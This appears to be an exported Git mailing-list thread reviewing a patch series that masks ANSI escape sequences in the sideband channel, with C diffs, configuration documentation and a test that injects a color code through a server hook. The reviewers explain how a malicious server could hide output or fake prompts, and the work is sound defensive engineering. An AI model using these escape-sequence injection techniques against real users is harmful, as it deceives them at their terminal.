nickname recorded in our .git/config),\n> >> as visiting a potentially malicious remote repository you are not\n> >> familiar with may not be uncommon, and users may deserve protection\n> >> over inconvenience.\n> >> \n> >> But once the user establishes a working relationship with a remote\n> >> repository, would it be a lot more common to trust the contents\n> >> there than be on the lookout that the repository may spew bad\n> >> strings of bytes at your standard error stream, I have to wonder.\n> \n> >   tl;dr remote servers don't get more trustworthy just by successfully\n> >   serving clones.\n> \n> The \"successfully serving clone\" has nothing to do with the reason\n> why I suggested to deny by default in \"clone\" and anything that gets\n> $URL not remote nickname.  I am roughly equating the fact that the\n> user cloned *and* *then* continues to interact with the project that\n> is served from that remote repository (hence using the remote\n> nickname) with the willingness by the user to trust that particular\n> remote repository.\n\nSuch a willingness to trust might be only because nothing bad happened\nduring the clone, though. In which case we made things worse that way, not\nbetter.\n\nCiao,\nJohannes\n"},{"id":"534079","messageId":"f3891ea0-56f0-b6ff-afac-e06fc143ecc5@gmx.de","threadId":"62809","inReplyTo":"aWD2s5RyhxYSLmfc@pks.im","subject":"Re: [PATCH v2 1/4] sideband: mask control characters","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T19:29:58Z","receivedAt":"2026-01-16T19:30:07Z","isPatch":true,"body":"Hi Patrick,\n\nOn Fri, 9 Jan 2026, Patrick Steinhardt wrote:\n\n> On Wed, Dec 17, 2025 at 02:23:39PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> > From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> > \n> > The output of `git clone` is a vital component for understanding what\n> > has happened when things go wrong. However, these logs are partially\n> > under the control of the remote server (via the \"sideband\", which\n> > typically contains what the remote `git pack-objects` process sends to\n> > `stderr`), and is currently not sanitized by Git.\n> > \n> > This makes Git susceptible to ANSI escape sequence injection (see\n> > CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\n> > attackers to corrupt terminal state, to hide information, and even to\n> > insert characters into the input buffer (i.e. as if the user had typed\n> > those characters).\n> > \n> > To plug this vulnerability, disallow any control character in the\n> > sideband, replacing them instead with the common `^<letter/symbol>`\n> > (e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n> > \n> > There is likely a need for more fine-grained controls instead of using a\n> > \"heavy hammer\" like this, which will be introduced subsequently.\n> \n> Most notably color codes, I assume.\n\nPrecisely.\n\n> > diff --git a/sideband.c b/sideband.c\n> > index 02805573fa..fc1805dcf8 100644\n> > --- a/sideband.c\n> > +++ b/sideband.c\n> > @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n> >  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n> >  }\n> >  \n> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n> \n> Shouldn't `n` be of type `size_t`? I guess the answer is \"maybe\", as\n> `maybe_colorize_sideband()` also accepts `int n` with a big comment\n> explaining why that's okay. Ultimately, the reason is that we accept\n> pkt-lines, so every line is limited to at most 64kB anyway.\n\nExactly. I did not want to use a different data type for the parameter\nthat is essentially just passed through.\n\n> > +{\n> > +\tstrbuf_grow(dest, n);\n> > +\tfor (; n && *src; src++, n--) {\n> > +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n> > +\t\t\tstrbuf_addch(dest, *src);\n> > +\t\telse {\n> \n> Tiny nit, not worth addressing on its own: the if branch should also\n> have curly braces.\n\nWill address in the next iteration.\n\nCiao,\nJohannes\n"},{"id":"534080","messageId":"53ed8f19-7084-b9ab-ca4c-cd558b75c1fc@gmx.de","threadId":"62809","inReplyTo":"aWD2wpyOo0Tr34OD@pks.im","subject":"Re: [PATCH v2 3/4] sideband: do allow ANSI color sequences by default","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T19:38:22Z","receivedAt":"2026-01-16T19:38:37Z","isPatch":true,"body":"Hi Patrick,\n\nOn Fri, 9 Jan 2026, Patrick Steinhardt wrote:\n\n> On Wed, Dec 17, 2025 at 02:23:41PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> > From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> > \n> > The preceding two commits introduced special handling of the sideband\n> > channel to neutralize ANSI escape sequences before sending the payload\n> > to the terminal, and `sideband.allowControlCharacters` to override that\n> > behavior.\n> > \n> > However, as reported by brian m. carlson, some `pre-receive` hooks that\n> > are actively used in practice want to color their messages and therefore\n> > rely on the fact that Git passes them through to the terminal, even\n> > though they have no way to determine whether the receiving side can\n> > actually handle Escape sequences (think e.g. about the practice\n> > recommended by Git that third-party applications wishing to use Git\n> > functionality parse the output of Git commands).\n> > \n> > In contrast to other ANSI escape sequences, it is highly unlikely that\n> > coloring sequences can be essential tools in attack vectors that mislead\n> > Git users e.g. by hiding crucial information.\n> \n> The worst that they can do is to set up both fore- and background color\n> to be the same so that text isn't visible. But I think that's an okay\n> tradeoff.\n\nIndeed.\n\nThe major concern here is to hide the fact from the user that Git already\nexited and that what they see in their terminal is not actually Git asking\nthem to input something.\n\nTechnically, this would be possible by setting the text to \"invisible\"\n(which would be a fine thing when pretending to ask for a password,\nanyway). But without the ability to move the cursor, attackers will have a\nmuch harder time to cover their tracks.\n\n> > Therefore we can have both: Continue to allow ANSI coloring sequences to\n> > be passed to the terminal by default, and neutralize all other ANSI\n> > Escape sequences.\n> \n> Makes sense.\n> \n> > diff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\n> > index 3fb5045cd7..e5b7383c7a 100644\n> > --- a/Documentation/config/sideband.txt\n> > +++ b/Documentation/config/sideband.txt\n> > @@ -1,5 +1,17 @@\n> >  sideband.allowControlCharacters::\n> >  \tBy default, control characters that are delivered via the sideband\n> > -\tare masked, to prevent potentially unwanted ANSI escape sequences\n> > -\tfrom being sent to the terminal. Use this config setting to override\n> > -\tthis behavior.\n> > +\tare masked, except ANSI color sequences. This prevents potentially\n> > +\tunwanted ANSI escape sequences from being sent to the terminal. Use\n> > +\tthis config setting to override this behavior:\n> > ++\n> > +--\n> > +\tdefault::\n> > +\tcolor::\n> > +\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n> > +\t\tbut mask all other control characters. This is the default.\n> > +\tfalse::\n> > +\t\tMask all control characters other than line feeds and\n> > +\t\thorizontal tabs.\n> > +\ttrue::\n> > +\t\tAllow all control characters to be sent to the terminal.\n> > +--\n> \n> Nit: I think that our modern doc style requires the values to use\n> backticks. E.g. \"`default`::\".\n\nWill change.\n\n> > diff --git a/sideband.c b/sideband.c\n> > index 997430f2ea..fb43008ab7 100644\n> > --- a/sideband.c\n> > +++ b/sideband.c\n> > @@ -40,8 +45,26 @@ static int use_sideband_colors(void)\n> >  \tif (use_sideband_colors_cached >= 0)\n> >  \t\treturn use_sideband_colors_cached;\n> >  \n> > -\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n> > -\t\t\t    &allow_control_characters);\n> > +\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n> > +\tcase 0: /* Boolean value */\n> > +\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n> > +\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n> > +\t\tbreak;\n> > +\tcase -1: /* non-Boolean value */\n> > +\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n> > +\t\t\t\t\t      &value))\n> > +\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n> \n> This case is something that shouldn't happen in practice because we know\n> that the config ought to exist. I guess it _could_ indicate a race\n> condition, even though it's extremely unlikely to ever happen. So I was\n> thinking about whether we want to `BUG()` here, but I guess just\n> ignoring this is fine, as well.\n\nI don't think that we can even get into a race condition because the\nconfig is cached after it is read.\n\n> > @@ -70,9 +93,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n> >  \t\tlist_config_item(list, prefix, keywords[i].keyword);\n> >  }\n> >  \n> > +static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n> > +{\n> > +\tint i;\n> > +\n> > +\t/*\n> > +\t * Valid ANSI color sequences are of the form\n> > +\t *\n> > +\t * ESC [ [<n> [; <n>]*] m\n> > +\t *\n> > +\t * These are part of the Select Graphic Rendition sequences which\n> > +\t * contain more than just color sequences, for more details see\n> > +\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n> > +\t */\n> > +\n> > +\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n> > +\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n> > +\t\treturn 0;\n> \n> This would break in case `allow_control_characters` allows _all_ ANSI\n> sequences. But that doesn't matter right now because the function is\n> only called via `strbuf_add_sanitized()` when we're sanitizing at least\n> some characters.\n> \n> Might be worth though to add a call to `BUG()` in case we see an\n> unsupported value for `allow_control_characters`.\n\nLater patches change the logic, though, to make `allow_control_characters`\na bit field. So maybe it can be left as-is here?\n\n> \n> > +\tfor (i = 2; i < n; i++) {\n> > +\t\tif (src[i] == 'm') {\n> > +\t\t\tstrbuf_add(dest, src, i + 1);\n> > +\t\t\treturn i;\n> > +\t\t}\n> > +\t\tif (!isdigit(src[i]) && src[i] != ';')\n> > +\t\t\tbreak;\n> > +\t}\n> \n> Okay, so this loop scans until we find the final \"m\" character that\n> terminates the sequence. Looks good to me.\n\nThank you for your review!\nJohannes\n"},{"id":"534081","messageId":"bb319446-a655-42b7-00b4-581fb9290843@gmx.de","threadId":"62809","inReplyTo":"aWD2x154F5f-c3pL@pks.im","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T19:47:39Z","receivedAt":"2026-01-16T19:47:43Z","isPatch":true,"body":"Hi Patrick,\n\nOn Fri, 9 Jan 2026, Patrick Steinhardt wrote:\n\n> On Wed, Dec 17, 2025 at 02:23:42PM +0000, Johannes Schindelin via GitGitGadget wrote:\n> > From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> > \n> > Even though control sequences that erase characters are quite juicy for\n> > attack scenarios, where attackers are eager to hide traces of suspicious\n> > activities, during the review of the side band sanitizing patch series\n> > concerns were raised that there might be some legimitate scenarios where\n> > Git server's `pre-receive` hooks use those sequences in a benign way.\n> > \n> > Control sequences to move the cursor can likewise be used to hide tracks\n> > by overwriting characters, and have been equally pointed out as having\n> > legitimate users.\n> > \n> > Let's add options to let users opt into passing through those ANSI\n> > Escape sequences: `sideband.allowControlCharacters` now supports also\n> > `cursor` and `erase`, and it parses the value as a comma-separated list.\n> \n> Hm, okay. I don't really see much of a reason to allow these, but now\n> that the code exists already I don't see a reason why we should remove\n> those options again.\n\nI agree that the feedback that elicited this patch did not specify any\nconcrete use case where this might be necessary. I basically implemented\nthis only to alleviate the reviewer feedback more than any real-world\nissue.\n\n> \n> > diff --git a/sideband.c b/sideband.c\n> > index fb43008ab7..725e24db0d 100644\n> > --- a/sideband.c\n> > +++ b/sideband.c\n> > @@ -28,9 +28,43 @@ static struct keyword_entry keywords[] = {\n> >  static enum {\n> >  \tALLOW_NO_CONTROL_CHARACTERS = 0,\n> >  \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n> > +\tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n> > +\tALLOW_ANSI_ERASE = 1<<2,\n> >  \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n> > -\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n> > -} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n> > +\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n> > +} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n> \n> Nit, not worth addressing on its own: readability would be helped a bit\n> if the assignments were all aligned.\n> \n>         static enum {\n>                 ALLOW_NO_CONTROL_CHARACTERS  = 0,\n>                 ALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n>                 ALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n>                 ALLOW_ANSI_ERASE             = 1<<2,\n>                 ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n>                 ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n>         } allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n\nI like that suggestion. Will change it.\n\n> > +static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n> > +\t\t\t\t     const char **out)\n> > +{\n> > +\tif (!skip_prefix(value, prefix, &value) ||\n> > +\t    (*value && *value != ','))\n> > +\t\treturn 0;\n> > +\t*out = value + !!*value;\n> > +\treturn 1;\n> > +}\n> > +\n> > +static void parse_allow_control_characters(const char *value)\n> > +{\n> > +\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n> > +\twhile (*value) {\n> > +\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n> > +\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n> > +\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n> > +\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n> > +\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n> > +\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n> > +\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n> > +\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n> > +\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n> > +\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n> > +\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n> > +\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n> \n> Does it really make sense to also handle \"true\" and \"false\" here? I\n> would expect that those values can only be passed standalone.\n\nI was thinking that 1) it keeps the implementation more consistent, and 2)\nit would allow for an \"oops, let's restart this\" type of approach, saying\n`color,erase,false,color`.\n\nMight be over-engineered, but the alternative would have to take care of\nspecial-casing `true` and `false` in the following warning (because they\n_are_ recognized, they just wouldn't be recognized inside a\ncomma-separated list).\n\n> \n> > +\t\telse\n> > +\t\t\twarning(_(\"unrecognized value for `sideband.\"\n> > +\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n> > +\t}\n> > +}\n> \n> This could be simplified if we used e.g. `string_list_split()`. But on\n> the other hand it avoids allocations, so that's a nice benefit.\n\nThe code also was a lot more verbose. I know, because that's what it\nlooked like before I changed it. :-)\n\nCiao,\nJohannes\n"},{"id":"534097","messageId":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","subject":"[PATCH v3 0/5] Sanitize sideband channel messages","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:08Z","receivedAt":"2026-01-16T22:26:16Z","isPatch":true,"body":"Git's sideband channel passes server output directly to the client terminal\nwithout sanitization. This includes progress messages, error output, and\ndiagnostics from remote hooks during clone, fetch, and push operations.\n\nThis creates an ANSI escape sequence injection vulnerability (CWE-150\n[https://cwe.mitre.org/data/definitions/150.html]). A malicious or\ncompromised server can corrupt terminal state, obscure information, or\ninject characters into the terminal's input buffer. The client has no\nmechanism to distinguish between legitimate output and attack sequences.\n\nThis series fixes the vulnerability by sanitizing control characters in the\nsideband output. ANSI color sequences (SGR codes) pass through by default,\nsince server-side hooks exist that use these for visibility (e.g.\nhttps://github.com/kikeonline/githook-explode). By default, all other\ncontrol characters are rendered in caret notation (e.g., ESC becomes ^[).\n\nUsers who need different behavior get configuration options:\nsideband.allowControlCharacters provides an escape hatch for environments\nthat require raw passthrough. The defaults are secure.\n\nNote: This series applies cleanly on v2.47.3. Integrating this into newer\nversions is a bit cumbersome; I pushed a version of the branch as rebased to\nv2.53.0-rc0 here:\nhttps://github.com/dscho/git/tree/refs/heads/sanitize-sideband-2.53.0-rc0\n\nChanges since v2:\n\n * Added curly brackets around a single-line if clause.\n * Enclosed the values in the documentation within backticks.\n * Aligned the enum values for better readability.\n * Added support for sideband.<url>.allowControlCharacters (à la\n   http.<url>.*) on top of sideband.allowControlCharacters.\n\nChanges since v1:\n\n * Applied the suggestions by Phillip and brian.\n * Rebased onto v2.47.3.\n * Added more categories of ANSI Escape sequences that can be enabled (but\n   that are off by default because they could be used to hide information).\n\nJohannes Schindelin (5):\n  sideband: mask control characters\n  sideband: introduce an \"escape hatch\" to allow control characters\n  sideband: do allow ANSI color sequences by default\n  sideband: add options to allow more control sequences to be passed\n    through\n  sideband: offer to configure sanitizing on a per-URL basis\n\n Documentation/config.txt            |   2 +\n Documentation/config/sideband.txt   |  28 +++++\n sideband.c                          | 181 +++++++++++++++++++++++++++-\n sideband.h                          |  14 +++\n t/t5409-colorize-remote-messages.sh |  92 ++++++++++++++\n transport.c                         |   3 +\n 6 files changed, 318 insertions(+), 2 deletions(-)\n create mode 100644 Documentation/config/sideband.txt\n\n\nbase-commit: a52a24e03c8c711f1d5e252fba78f9276908129b\nPublished-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v3\nFetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v3\nPull-Request: https://github.com/gitgitgadget/git/pull/1853\n\nRange-diff vs v2:\n\n 1:  8d70476559 ! 1:  e6b71af0ca sideband: mask control characters\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n      +{\n      +\tstrbuf_grow(dest, n);\n      +\tfor (; n && *src; src++, n--) {\n     -+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n     ++\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n      +\t\t\tstrbuf_addch(dest, *src);\n     -+\t\telse {\n     ++\t\t} else {\n      +\t\t\tstrbuf_addch(dest, '^');\n      +\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n      +\t\t}\n 2:  2615abd8c5 ! 2:  8f64d65844 sideband: introduce an \"escape hatch\" to allow control characters\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n      +\n       \tstrbuf_grow(dest, n);\n       \tfor (; n && *src; src++, n--) {\n     - \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n     + \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n      \n       ## t/t5409-colorize-remote-messages.sh ##\n      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'disallow (color) control sequences in sideband' '\n 3:  44585ba1f4 ! 3:  44838acacc sideband: do allow ANSI color sequences by default\n     @@ Documentation/config/sideband.txt\n      +\tthis config setting to override this behavior:\n      ++\n      +--\n     -+\tdefault::\n     -+\tcolor::\n     ++\t`default`::\n     ++\t`color`::\n      +\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n      +\t\tbut mask all other control characters. This is the default.\n     -+\tfalse::\n     ++\t`false`::\n      +\t\tMask all control characters other than line feeds and\n      +\t\thorizontal tabs.\n     -+\ttrue::\n     ++\t`true`::\n      +\t\tAllow all control characters to be sent to the terminal.\n      +--\n      \n     @@ sideband.c: static struct keyword_entry keywords[] = {\n       \n      -static int allow_control_characters;\n      +static enum {\n     -+\tALLOW_NO_CONTROL_CHARACTERS = 0,\n     -+\tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n     ++\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n     ++\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n      +\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n      +\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n      +} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n       \t}\n      @@ sideband.c: static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n       \tfor (; n && *src; src++, n--) {\n     - \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n     + \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n       \t\t\tstrbuf_addch(dest, *src);\n     --\t\telse {\n     -+\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n     ++\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n      +\t\t\tsrc += i;\n      +\t\t\tn -= i;\n     -+\t\t} else {\n     + \t\t} else {\n       \t\t\tstrbuf_addch(dest, '^');\n       \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n     - \t\t}\n      \n       ## t/t5409-colorize-remote-messages.sh ##\n      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'fallback to color.ui' '\n 4:  fe109cd331 ! 4:  cc578465b9 sideband: add options to allow more control sequences to be passed through\n     @@ Documentation/config/sideband.txt: sideband.allowControlCharacters::\n      +\ta comma-separated list of the following keywords):\n       +\n       --\n     - \tdefault::\n     - \tcolor::\n     + \t`default`::\n     + \t`color`::\n       \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n       \t\tbut mask all other control characters. This is the default.\n     -+\tcursor::\n     ++\t`cursor:`:\n      +\t\tAllow control sequences that move the cursor. This is\n      +\t\tdisabled by default.\n     -+\terase::\n     ++\t`erase`::\n      +\t\tAllow control sequences that erase charactrs. This is\n      +\t\tdisabled by default.\n     - \tfalse::\n     + \t`false`::\n       \t\tMask all control characters other than line feeds and\n       \t\thorizontal tabs.\n      \n       ## sideband.c ##\n      @@ sideband.c: static struct keyword_entry keywords[] = {\n       static enum {\n     - \tALLOW_NO_CONTROL_CHARACTERS = 0,\n     - \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n     -+\tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n     -+\tALLOW_ANSI_ERASE = 1<<2,\n     + \tALLOW_NO_CONTROL_CHARACTERS  = 0,\n     + \tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n     ++\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n     ++\tALLOW_ANSI_ERASE             = 1<<2,\n       \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n      -\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n      -} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n     @@ sideband.c: static void strbuf_add_sanitized(struct strbuf *dest, const char *sr\n       \t}\n      @@ sideband.c: static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n       \tfor (; n && *src; src++, n--) {\n     - \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n     + \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n       \t\t\tstrbuf_addch(dest, *src);\n     --\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n     -+\t\telse if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n     -+\t\t\t (i = handle_ansi_sequence(dest, src, n))) {\n     +-\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n     ++\t\t} else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n     ++\t\t\t   (i = handle_ansi_sequence(dest, src, n))) {\n       \t\t\tsrc += i;\n       \t\t\tn -= i;\n       \t\t} else {\n -:  ---------- > 5:  f2eb0a758c sideband: offer to configure sanitizing on a per-URL basis\n\n-- \ngitgitgadget\n"},{"id":"534098","messageId":"e6b71af0cad3311a15a66b49f286beb0c4b8c335.1768602373.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v3 1/5] sideband: mask control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:09Z","receivedAt":"2026-01-16T22:26:18Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe output of `git clone` is a vital component for understanding what\nhas happened when things go wrong. However, these logs are partially\nunder the control of the remote server (via the \"sideband\", which\ntypically contains what the remote `git pack-objects` process sends to\n`stderr`), and is currently not sanitized by Git.\n\nThis makes Git susceptible to ANSI escape sequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\nattackers to corrupt terminal state, to hide information, and even to\ninsert characters into the input buffer (i.e. as if the user had typed\nthose characters).\n\nTo plug this vulnerability, disallow any control character in the\nsideband, replacing them instead with the common `^<letter/symbol>`\n(e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n\nThere is likely a need for more fine-grained controls instead of using a\n\"heavy hammer\" like this, which will be introduced subsequently.\n\nHelped-by: Phillip Wood <phillip.wood@dunelm.org.uk>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n sideband.c                          | 17 +++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 12 ++++++++++++\n 2 files changed, 27 insertions(+), 2 deletions(-)\n\ndiff --git a/sideband.c b/sideband.c\nindex 02805573fa..3c74f3bdb7 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n+{\n+\tstrbuf_grow(dest, n);\n+\tfor (; n && *src; src++, n--) {\n+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n+\t\t\tstrbuf_addch(dest, *src);\n+\t\t} else {\n+\t\t\tstrbuf_addch(dest, '^');\n+\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n+\t\t}\n+\t}\n+}\n+\n /*\n  * Optionally highlight one keyword in remote output if it appears at the start\n  * of the line. This should be called for a single line only, which is\n@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \tint i;\n \n \tif (!want_color_stderr(use_sideband_colors())) {\n-\t\tstrbuf_add(dest, src, n);\n+\t\tstrbuf_add_sanitized(dest, src, n);\n \t\treturn;\n \t}\n \n@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \t\t}\n \t}\n \n-\tstrbuf_add(dest, src, n);\n+\tstrbuf_add_sanitized(dest, src, n);\n }\n \n \ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 516b22fd96..f4712f4161 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+test_expect_success 'disallow (color) control sequences in sideband' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep ! RED decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"534102","messageId":"8f64d658447da23736c5dd25010f429b1873b13c.1768602373.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"[PATCH v3 2/5] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-01-16T22:26:10Z","receivedAt":"2026-01-16T22:26:19Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding commit fixed the vulnerability whereas sideband messages\n(that are under the control of the remote server) could contain ANSI\nescape sequences that would be sent to the terminal verbatim.\n\nHowever, this fix may not be desirable under all circumstances, e.g.\nwhen remote servers deliberately add coloring to their messages to\nincrease their urgency.\n\nTo help with those use cases, give users a way to opt-out of the\nprotections: `sideband.allowControlCharacters`.\n\nSuggested-by: brian m. carlson <sandals@crustytoothpaste.net>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config.txt            |  2 ++\n Documentation/config/sideband.txt   |  5 +++++\n sideband.c                          | 10 ++++++++++\n t/t5409-colorize-remote-messages.sh |  8 +++++++-\n 4 files changed, 24 insertions(+), 1 deletion(-)\n create mode 100644 Documentation/config/sideband.txt\n\ndiff --git a/Documentation/config.txt b/Documentation/config.txt\nindex 8c0b3ed807..48870bb588 100644\n--- a/Documentation/config.txt\n+++ b/Documentation/config.txt\n@@ -522,6 +522,8 @@ include::config/sequencer.txt[]\n \n include::config/showbranch.txt[]\n \n+include::config/sideband.txt[]\n+\n include::config/sparse.txt[]\n \n include::config/splitindex.txt[]\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nnew file mode 100644\nindex 0000000000..3fb5045cd7\n--- /dev/null\n+++ b/Documentation/config/sideband.txt\n@@ -0,0 +1,5 @@\n+sideband.allowControlCharacters::\n+\tBy default, control characters that are delivered via the sideband\n+\tare masked, to prevent potentially unwanted ANSI escape sequences\n+\tfrom being sent to the terminal. Use this config setting to override\n+\tthis behavior.\ndiff --git a/sideband.c b/sideband.c\nindex 3c74f3bdb7..1499587ff6 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {\n 